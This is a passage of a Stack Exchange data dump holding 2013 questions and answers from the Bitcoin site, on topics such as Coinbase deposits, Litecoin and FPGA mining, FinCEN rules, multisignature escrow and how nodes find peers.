block in finite time.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-05-29T14:43:54.850" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11327" PostTypeId="1" CreationDate="2013-05-29T14:49:12.803" Score="-1" ViewCount="326" Body="&lt;p&gt;What is the longest used firstbits? How could I find out? I think it would be two vanity addresses with the same prefix, yes? Anything longer than about seven characters for a firstbits would require a lot of computation.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="5406" LastEditDate="2019-07-17T17:33:36.977" LastActivityDate="2020-08-11T03:03:45.413" Title="What is the longest firstbits?" Tags="|vanitygen|firstbits|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11328" PostTypeId="2" ParentId="11323" CreationDate="2013-05-29T15:18:27.393" Score="1" Body="&lt;p&gt;Read about &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;Public-key cryptography&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;Digital signature&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoins you need the private key to spend (by signing) the coins that were &quot;sent&quot; to the address associated with a public key.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-29T15:18:27.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11329" PostTypeId="2" ParentId="11049" CreationDate="2013-05-29T18:18:21.707" Score="9" Body="&lt;p&gt;I can't elaborate much on your answer but can provide reasons as to why this market seems so bare.  Apple has shut down other providers of BitCoin wallets for &quot;legal reasons&quot; -- all due to the legal ambiguity of BTC transactions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to look into mobile-optimized websites that offer BTC transactions.  I'm unfortunately not too knowledgable on the topic - but at first glance, you might want to check out &lt;a href=&quot;https://walletbit.com/&quot;&gt;https://walletbit.com/&lt;/a&gt;, &lt;a href=&quot;https://bips.me/&quot;&gt;https://bips.me/&lt;/a&gt; or something similar.  Happy hunting!&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2013-05-29T18:18:21.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11330" PostTypeId="2" ParentId="11315" CreationDate="2013-05-29T18:26:38.937" Score="0" Body="&lt;p&gt;Here are a couple options available to you.  I am not associated with any of these sites and would recommend you do your research before proceeding with any of them.  Providing any said research to other readers would be helpful for the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTCrow (btcrow.com/‎)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitMit (&lt;a href=&quot;https://www.bitmit.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitmit.net/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitCoin Escrow (&lt;a href=&quot;http://thebitcoinescrow.com/&quot; rel=&quot;nofollow&quot;&gt;http://thebitcoinescrow.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FlipBit (&lt;a href=&quot;http://flipbit.com/&quot; rel=&quot;nofollow&quot;&gt;http://flipbit.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2013-05-29T18:26:38.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11331" PostTypeId="2" ParentId="8859" CreationDate="2013-05-29T18:42:08.540" Score="0" Body="&lt;p&gt;In The Netherlands: &lt;a href=&quot;https://bitonic.nl&quot; rel=&quot;nofollow&quot;&gt;https://bitonic.nl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They charge quite a fee, but are easy and quick. iDeal (direct bank transfer) supported. I used them once and got my bitcoins in a few minutes.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-05-29T18:42:08.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11332" PostTypeId="1" AcceptedAnswerId="11333" CreationDate="2013-05-29T20:11:22.637" Score="12" ViewCount="51145" Body="&lt;p&gt;First, I am not a merchant and I don't really care to become one (for now.)  Recently, I sent some BTC to Mt.Gox, sold them and then conveniently found out that I now have no way of withdrawing my USD to my bank account from gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a bit of research, everyone is suggesting that I sell my BTC on Coinbase and then withdraw directly to my bank account.  My problem is that I can't find an easy way to deposit into my coinbase account that I just created and verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an easy process that I've overlooked or will I need to setup a shell, merchant payment system and send myself my one-off BTC payment so that I can sell my bitcoins for USD?&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2019-08-20T08:56:32.417" Title="How can I send bitcoins to my coinbase.com account for conversion to USD?" Tags="|coinbase.com|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11333" PostTypeId="2" ParentId="11332" CreationDate="2013-05-29T21:04:47.477" Score="12" Body="&lt;p&gt;I actually had this same issue today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find your BTC deposit addresses on coinbase.com under...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Account Settings / Integrations tab / Bitcoin Addresses (scroll to bottom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can add new addresses as well as &quot;view all&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!  :)&lt;/p&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="52819" LastEditDate="2017-07-31T14:53:54.337" LastActivityDate="2017-07-31T14:53:54.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11334" PostTypeId="1" CreationDate="2013-05-29T22:22:35.997" Score="-1" ViewCount="3050" Body="&lt;p&gt;I want to write a program that gets a block header from the Litecoin client and increments the nonce until it finds a valid block. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C# is preferred however C, C++, python will do.&lt;/p&gt;&#xA;" OwnerUserId="2582" LastEditorUserId="5406" LastEditDate="2016-04-28T14:37:45.130" LastActivityDate="2016-04-28T14:37:45.130" Title="How do I write a Litecoin mining client?" Tags="|litecoin|development|mining-software|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11335" PostTypeId="2" ParentId="11274" CreationDate="2013-05-29T22:33:07.073" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the issues they currently working on?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps I can help. I'm a member of the foundation; however, they haven't broadcast a specific mission or vision to us yet. That said, they are pursuing regulation and continued development of the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for challenges, they face the following concerns:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Managing the growth of the ecosystem in a way that promotes mainstream adoption of bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Resolving issues with miscommunication and misinformation by the media and other entities&lt;/li&gt;&#xA;&lt;li&gt;Working with businesses to better understand the regulatory and legal implications of bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Soliciting and integrating new developers and ideas into the protocol as the needs of the ecosystem mandate&lt;/li&gt;&#xA;&lt;li&gt;Dealing with the consequences of government regulation on the ecosystem&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are far more issues to resolve; however, these to me seem to be the ones the foundation has invested the most work on. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to track their activities?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As of now, you can't outside highly public events such as the conference in San Jose. They are not a very transparent organization, which I suspect is a symptom of their age. Over time they will have to become better.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the challenges ahead of bitcoin foundation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the moment, survival and relevance. They have yet to court the bitcoin community nor have a dynamic outreach program in the works to the best of my understanding. Longer term the issues of education and business adoption are also major challenges. As more people become aware of bitcoin, they will have a large list of questions and concerns. Depending on how they are addressed, the individual may have a positive or negative opinion of Bitcoin and will spread that opinion to their peers. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-29T22:40:23.240" LastActivityDate="2013-05-29T22:40:23.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11336" PostTypeId="2" ParentId="10814" CreationDate="2013-05-29T22:53:52.840" Score="2" Body="&lt;p&gt;The best way to access transaction database for analysis is probably through the &lt;a href=&quot;http://blockchain.info/q&quot; rel=&quot;nofollow&quot;&gt;blockchain.info API&lt;/a&gt;. You can also use the &lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Block Explorer&lt;/a&gt;; in fact, this is what a study of the Bitcoin network did.&lt;/p&gt;&#xA;" OwnerUserId="5309" LastActivityDate="2013-05-29T22:53:52.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11337" PostTypeId="2" ParentId="11334" CreationDate="2013-05-29T23:02:51.587" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm looking for a library that gives me mining functionality&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would suggest &lt;a href=&quot;https://github.com/mb300sd/Bitcoin.NET&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.NET&lt;/a&gt;. It can make an RPC connection to your Litecoin/Bitcoin client and ask for a block header to work on.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it compatible with Litecoin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin and Litecoin share a lot of code, including Remote Procedure Call, which is what Bitcoin.NET uses to talk to your *coin client. Note that the RPC port for Litecoin is 9332 instead of 8332, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I write a mining client with this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Take the block header &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;getwork&lt;/a&gt; gives you and hash it &lt;a href=&quot;https://github.com/litecoin-project/litecoin/wiki/Scrypt-proof-of-work&quot; rel=&quot;nofollow&quot;&gt;like so&lt;/a&gt;. Compare it to your target.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-29T23:43:40.000" LastActivityDate="2013-05-29T23:43:40.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11338" PostTypeId="1" CreationDate="2013-05-29T23:11:46.477" Score="2" ViewCount="39" Body="&lt;p&gt;I found this map: &lt;a href=&quot;http://bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;http://bitnodes.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure what can be inferred from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the network grow much more than this?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2013-05-29T23:11:46.477" Title="Do we have an estimate of how many people are using Bitcoin?" Tags="|network|" AnswerCount="0" CommentCount="0" ClosedDate="2013-05-30T14:09:49.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="11339" PostTypeId="1" CreationDate="2013-05-29T23:51:55.220" Score="7" ViewCount="529" Body="&lt;p&gt;If a business only exchanges between say bitcoin, litecoin and namecoin. No fiat currencies. Does it still fall under finCEN's regulations?&lt;/p&gt;&#xA;" OwnerUserId="4626" LastEditorUserId="132" LastEditDate="2014-01-13T14:43:57.450" LastActivityDate="2014-01-13T14:43:57.450" Title="Does an exchange of only virtual currencies fall under FinCEN regulations?" Tags="|exchanges|usa|fincen|financial-regulations|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11340" PostTypeId="1" CreationDate="2013-05-30T01:49:05.647" Score="6" ViewCount="371" Body="&lt;p&gt;According to this page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Poolservers&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Poolservers&lt;/a&gt; bitcoind's rollntime support is 'Supported, but not advertised'.  I am taking that to mean that it doesn't provide the X-Roll-NTime header that would advertise this support, but you can increment the ntime value to get extra nonce space and still submit found blocks after doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?  If so, what would be the max amount that a mining client can increment the ntime value?&lt;/p&gt;&#xA;" OwnerUserId="5311" LastEditorUserId="2306" LastEditDate="2016-04-02T22:40:05.830" LastActivityDate="2020-08-28T09:04:00.353" Title="bitcoind and rollntime support" Tags="|bitcoind|getwork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11341" PostTypeId="1" CreationDate="2013-05-30T02:22:20.490" Score="6" ViewCount="6909" Body="&lt;p&gt;I plan to make an fpga mining device for bitcoin mining just for the fun of it. I thought understanding bitcoin as  whole would be the first step to take. However I realize that understanding the whole verification and transaction process in bitcoin would take a lot of time. Time that I really dont have. So I just wanted to know what would be the most important things to know related to bitcoin before getting started as only solving the nonce would be the part that I write in verilog/vhdl. The remaining part related to understanding how bitcoin uses Script and processes transaction would be quite unnecessary to know since I am not going to use it for the project. Having said that knowing how the whole system works is important and I will do it but from the point of view of an fpga mining device I would like to know on what to really focus on?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastActivityDate="2013-05-30T05:40:26.340" Title="How to get started with building an fpga mining device" Tags="|fpga|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11342" PostTypeId="2" ParentId="11339" CreationDate="2013-05-30T02:30:34.150" Score="4" Body="&lt;p&gt;Your guess is as good as anybody else's.   FinCEN's &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;guidelines&lt;/a&gt; read:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The term &quot;money transmission services&quot; means &quot;the acceptance of currency, funds, or other value that substitutes for currency from one person and the transmission of currency, funds, or other value that substitutes for currency to another location or person by any means.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's as broad as you can get.  Bottles of Tide detergent apparently serve as &lt;a href=&quot;http://articles.latimes.com/2012/mar/13/nation/la-na-nn-tide-thieves-20120313&quot; rel=&quot;nofollow&quot;&gt;a form of value that substitutes for currency&lt;/a&gt;, so going by that FinCEN could go after your corner market for not registering as a money transmitter for delivering tide to your door without verifying that you were the person who paid for the order (and keeping records for five years, and ... etc., etc., etc.).  Now I know they probably wouldn't stoop to doing that ... just like how the IRS wouldn't treat non-profits differently based on the political aims of the non-profit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's called totalitarianism.  The laws get interpreted such that the government gets total control over everyone and everything.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-05-30T05:46:36.067" LastActivityDate="2013-05-30T05:46:36.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11343" PostTypeId="2" ParentId="731" CreationDate="2013-05-30T03:57:40.057" Score="0" Body="&lt;p&gt;The challenge is to merge different addresses that all correspond to the same user. Since bitcoin isn't quite as anonymous as it's cracked up to be, this isn't totally impossible to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do it is to merge all addresses that contribute inputs to a single transaction. That's based on an assumption, but it's pretty reasonable one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way: connect your computer to all other Bitcoin nodes. Whenever you see a transaction broadcast that you haven't seen before, log it and the IP it's coming from. Since you're connected to all nodes, that is the sender's IP (unless they're anonymizing with Tor or some such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These approaches are used in a couple of papers:&lt;br&gt;&#xA;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow&quot;&gt;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://eprint.iacr.org/2012/584.pdf&quot; rel=&quot;nofollow&quot;&gt;http://eprint.iacr.org/2012/584.pdf&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The estimates from those papers aren't totally current, but you could extrapolate. Ron and Shamir (2012) count 3,730,218 addresses and 2,460,814 &quot;entities&quot; (conservative estimate of users). So multiply current addresses by about 1.5 for a ballpark estimate. &lt;/p&gt;&#xA;" OwnerUserId="5309" LastEditorUserId="2306" LastEditDate="2013-05-30T04:05:27.420" LastActivityDate="2013-05-30T04:05:27.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11344" PostTypeId="2" ParentId="11341" CreationDate="2013-05-30T05:40:26.340" Score="3" Body="&lt;p&gt;See: &lt;a href=&quot;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&quot; rel=&quot;nofollow&quot;&gt;Open Source FPGA miner&lt;/a&gt; and &lt;a href=&quot;http://hardcoreforensics.com/blog/2012/12/10/bitcoin-mining-publicly-available-vhdl-source-code-and-the-xilinx-xupv5/&quot; rel=&quot;nofollow&quot;&gt;additional info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-30T05:40:26.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11345" PostTypeId="2" ParentId="11332" CreationDate="2013-05-30T06:00:59.390" Score="3" Body="&lt;p&gt;To deposit coins to your Coinbase account, using the Coinbase website click Request money.  Leave the e-mail address blank and click the Request Money button.  It will then display a Bitcoin address and QR code.  Copy the Bitcoin address and then paste it as the withdrawal address from Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's just how to move them there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as automatically selling the coins, that's specifically limited to their merchant payment methods.  There's a configuration setting to tell Coinbase to automatically convert bitcoins you receive using a merchant payment method to dollars and send the dollars once-a0day to your bank.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinbase.com/merchant_settings&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/merchant_settings&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To get a Bitcoin address for a merchant payment method, you can simply send yourself a Payment invoice and use that Bitcoin address (multiple times if you wish) for receiving bitcoins which will then get cashed out to fiat immediately.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinbase.com/docs/merchant_tools/email_invoices&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/docs/merchant_tools/email_invoices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-30T06:00:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11346" PostTypeId="1" AcceptedAnswerId="11350" CreationDate="2013-05-30T06:09:12.230" Score="4" ViewCount="314" Body="&lt;p&gt;I've been trying to figure out a way for a bitcoin wallet keypair to be created between two or more people without either/any one of them holding the private key afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I want the buyer to hold a PGP-encrypted file that has the private key inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buyer is never, ever, to see that private key... It's the seller's wallet that is encrypted... But the seller can't have the private key yet either, just a public key, and the PGP key to open the PGP-protected file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about a 3rd man in the middle creating the wallet and putting it there, but then the 3rd guy could cash out the wallet himself later... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a trustless way to put the keypair into a PGP file and send that file to the buyer and the PGP key to the seller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy the puzzle!&lt;/p&gt;&#xA;" OwnerUserId="5316" LastEditorDisplayName="user5954" LastEditDate="2013-07-20T15:46:10.257" LastActivityDate="2013-07-20T15:46:10.257" Title="Fun puzzle: How to generate keypair without anyone seeing the private key?" Tags="|private-key|pgp|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11347" PostTypeId="2" ParentId="11340" CreationDate="2013-05-30T06:23:08.667" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, what would be the max amount that a mining client can increment the ntime value?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; will accept a block and push it out to the network as long as it is valid. Because of that, it's incredibly lenient. Quoting from bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A timestamp is accepted as valid if it is greater than the median timestamp of previous 11 blocks, and less than the network-adjusted time + 2 hours&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It almost never matters. Because &lt;code&gt;bitcoind&lt;/code&gt; is a single-user mining program, it's almost always on the same computer as the mining agent. If the mining agent needs to get more work units, it doesn't use up extra bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-30T06:23:08.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11348" PostTypeId="2" ParentId="11346" CreationDate="2013-05-30T07:42:55.300" Score="0" Body="&lt;p&gt;This can be done in general with &lt;a href=&quot;http://en.wikipedia.org/wiki/Fully_homomorphic_encryption#Fully_homomorphic_encryption&quot; rel=&quot;nofollow&quot;&gt;fully homomorphic encryption&lt;/a&gt;. (It wouldn't be a &quot;PGP file&quot; per se but an encrypted message with the specific scheme.) It's not very practical currently though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it looks like what you are really trying to do is an arrangement where A and B each have a piece of information, without any of them having seen the other, so that both pieces are needed in order to spend specific bitcoins. In this case, ECDSA addition of keys will work, as will a multi-signature transaction.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-30T07:42:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11349" PostTypeId="1" CreationDate="2013-05-30T10:17:30.300" Score="3" ViewCount="294" Body="&lt;p&gt;With blockchain.info we have the &lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;pushtx&lt;/a&gt; API that allow one to broadcast raw transactions into the network. It appears to be one of few services that offer such functionality. Are there any servers that offer such APIs for altcoins, or does one need to create their own / run their own version of altcoin'd to have access to such functionality?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-07-12T01:32:49.220" Title="Are there any API servers available for alt-coins that allow for transactions to be broadcast into their networks?" Tags="|development|api|services|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11350" PostTypeId="2" ParentId="11346" CreationDate="2013-05-30T10:42:05.050" Score="3" Body="&lt;p&gt;You are attempting to answer the question you are asking in the question. Let me get to the root of what you are asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, you would like to create a 2 party escrow - buyer sends money in a way that can't be retrieved unless both parties are satisfied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done in two ways in Bitcoin - one through the use of multisignature transactions, other - through split-key addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first approach is to send the money to 2-of-2 multisignature combination of addresses - one held by the buyer, and another - by the seller. When they reach consensus, they create a transaction, each signs it and money is transferred. The disadvantage of this approach is that if they don't reach consensus, there is no way to settle the money dispute. If you would introduce some third party acting like an escrow and create 2-of-3 multisignature address, then you would need a consensus of any 2 involved parties. If the buyer and seller agree on a consensus, escrow service does not get involved and everyone is satisfied. If they can't reach consensus, escrow steps in and mediates the solution with the parties forcing a compromise - it can always break a stalemate by cooperating with one party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second approach is for both parties to settle on a public key each by themselves, and then combine it through multiplication or addition, creating a split-key address. They both know the public key and associated address, but none of them know the private key. If they agree on an output, the buyer sends the seller their private key and the seller can create a transaction crediting themselves, or if the seller wishes to return the money to the buyer, they can give them their private key. This approach has a few problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One can't be using the same private keys in multiple transactions, as they get shared with third parties&lt;/li&gt;&#xA;&lt;li&gt;The person that will receive the second private key can dictate any division of money - nothing can stop them&lt;/li&gt;&#xA;&lt;li&gt;There is no possibility of creating a 2-of-3 escrow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So all in all, use multisignature transactions.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-30T10:42:05.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11352" PostTypeId="1" AcceptedAnswerId="11356" CreationDate="2013-05-30T11:27:41.253" Score="9" ViewCount="5880" Body="&lt;p&gt;In all materials related to bitcoin, the people talk about the p2p bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, but there should be a central server that connects the peers to each one.&#xA;Like the torrent sites. The torrents are p2p but before you can start talking with the other nodes from the p2p network you should know who they are(ip addresses). That's why you are getting the torrent file-you should know who else is interested in this torrent and start talking with him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in internet I can't find information about the central bitcoin server -that makes the p2p clients to see each other?&#xA;Where I am wrong?&#xA;Thanks&#xA;Tonko&lt;/p&gt;&#xA;" OwnerUserId="5322" LastEditorUserId="2306" LastEditDate="2015-03-22T01:46:47.093" LastActivityDate="2015-03-22T01:46:47.093" Title="How do bitcoin nodes initially find peers?" Tags="|peer-discovery|" AnswerCount="1" CommentCount="0" ClosedDate="2013-06-05T10:33:44.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="11353" PostTypeId="1" AcceptedAnswerId="11365" CreationDate="2013-05-30T11:31:21.030" Score="2" ViewCount="5969" Body="&lt;p&gt;Bitcoins take a lot of time, what are the alternatives? i've heard of litecoin but there are so many outhere so what would be the best choice for an average pc?&lt;/p&gt;&#xA;" OwnerUserId="5321" LastEditorUserId="5406" LastEditDate="2016-04-10T12:16:32.640" LastActivityDate="2016-04-10T12:16:32.640" Title="bitcoin alternatives for solo mining on an average laptops" Tags="|client|litecoin|mining-profitability|" AnswerCount="2" CommentCount="4" ClosedDate="2013-06-04T05:55:39.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="11354" PostTypeId="1" AcceptedAnswerId="11355" CreationDate="2013-05-30T11:37:18.153" Score="0" ViewCount="25649" Body="&lt;p&gt;I have a vps, it's debian but i can install any os, i don't use it a lot, can i use it to mine bitcoins? Correct me if I'm wrong, bitcoins uses video cards, and as far as i know, vps and dedicated servers don't have video cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So therefore I'm asking, is it possible to use servers to mine bitcoins&lt;/p&gt;&#xA;" OwnerUserId="5321" LastEditorUserId="5406" LastEditDate="2016-04-28T14:33:45.610" LastActivityDate="2016-04-28T14:33:45.610" Title="Is it possible to use servers to mine bitcoins?" Tags="|mining-profitability|cpu-mining|gpu|server|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11355" PostTypeId="2" ParentId="11354" CreationDate="2013-05-30T11:42:05.410" Score="3" Body="&lt;p&gt;It is possible, but not profitable.  Even if you consider the server as already paid for you will not generate nearly enough of a hashrate to earn more than a few cents a month.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-30T11:42:05.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11356" PostTypeId="2" ParentId="11352" CreationDate="2013-05-30T12:08:48.683" Score="14" Body="&lt;p&gt;Although the torrent protocol requires a central server, you don't necessarily need a central server for a p2p network. The client only needs the IP address of at least one active participant. Connecting to this will give you other IP addresses to connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only problem for a p2p network without a central server is: where to find the first IP address to connect to. Bitcoin solves this using a so called IRC bootstrap after the first installation. Basically it tries to find such ip-addresses on designated IRC channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only necessary on first run; subsequence runs it will just try ip addresses that have worked before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on the IRC bootstrap: &lt;a href=&quot;http://bitcoinmedia.com/the-irc-bootstrap-method-is-flawed/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinmedia.com/the-irc-bootstrap-method-is-flawed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: On further inspection, it seems that IRC bootstrapping is no longer used. See the link for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2027/how-does-the-bitcoin-client-make-the-initial-connection-to-the-bitcoin-network&quot;&gt;this question&lt;/a&gt; regarding the initial connection (bootstrapping)&lt;/p&gt;&#xA;" OwnerUserId="2879" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-05-30T12:17:47.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
